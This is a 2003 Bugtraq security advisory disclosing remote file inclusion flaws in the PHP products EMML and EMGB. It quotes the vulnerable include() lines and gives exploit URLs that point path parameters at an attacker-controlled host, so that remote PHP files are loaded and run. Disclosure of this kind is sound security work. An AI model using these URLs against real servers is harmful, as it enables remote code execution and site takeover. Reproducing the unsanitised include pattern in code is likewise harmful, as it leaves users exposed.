[31974] in bugtraq
EMML, EMGB : Include() hole
daemon@ATHENA.MIT.EDU (Frog Man)
Sat Oct 4 15:51:21 2003
From: "Frog Man" <leseulfrog@hotmail.com>
To: vulnwatch@vulnwatch.org, bugtraq@securityfocus.com
Date: Sat, 04 Oct 2003 16:39:27 +0200
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1; format=flowed
Message-ID: <Law15-F241hbhSpk6bc0000709d@hotmail.com>
Informations :
같같같같같같�
Language : PHP
-------------------------------------------------
Produit : EMML (EternalMart Mailing List Manager)
Version : 1.32
-------------------------------------------------
Produit : EMGB (EternalMart Guestbook)
Version : 1.1
-------------------------------------------------
Website : http://www.eternalmart.com
Problem : Include Files
PHP Code/Location :
같같같같같같같같같�
EMML :
email_email_func.php :
--------------------------------------------------
include("$emml_path/class.html.mime.mail.php");
--------------------------------------------------
/admin/auth.php :
--------------------------------------------
include("$emml_admin_path/auth_func.php");
--------------------------------------------
EMGB :
/admin/auth.php :
--------------------------------------------
include("$emgb_admin_path/auth_func.php");
--------------------------------------------
Exploits :
같같같같
EMML :
- http://[target]/admin/auth.php?emml_admin_path=http://[attacker] will
include the file :
http://[attacker]/auth_func.php
- http://[target]/emml_email_func.php?emml_path=http://[attacker] will
include the file :
http://[attacker]/class.html.mime.mail.php
EMGB :
- http://[target]/admin/auth.php?emgb_admin_path=http://[attacker] will
include the file :
http://[attacker]/auth_func.php
More Details/Solution :
같같같같같같같같같같�
A patch and more details can be found on http://www.phpsecure.info .
frog-m@n
_________________________________________________________________
Hotmail: votre e-mail gratuit ! http://www.fr.msn.be/hotmail
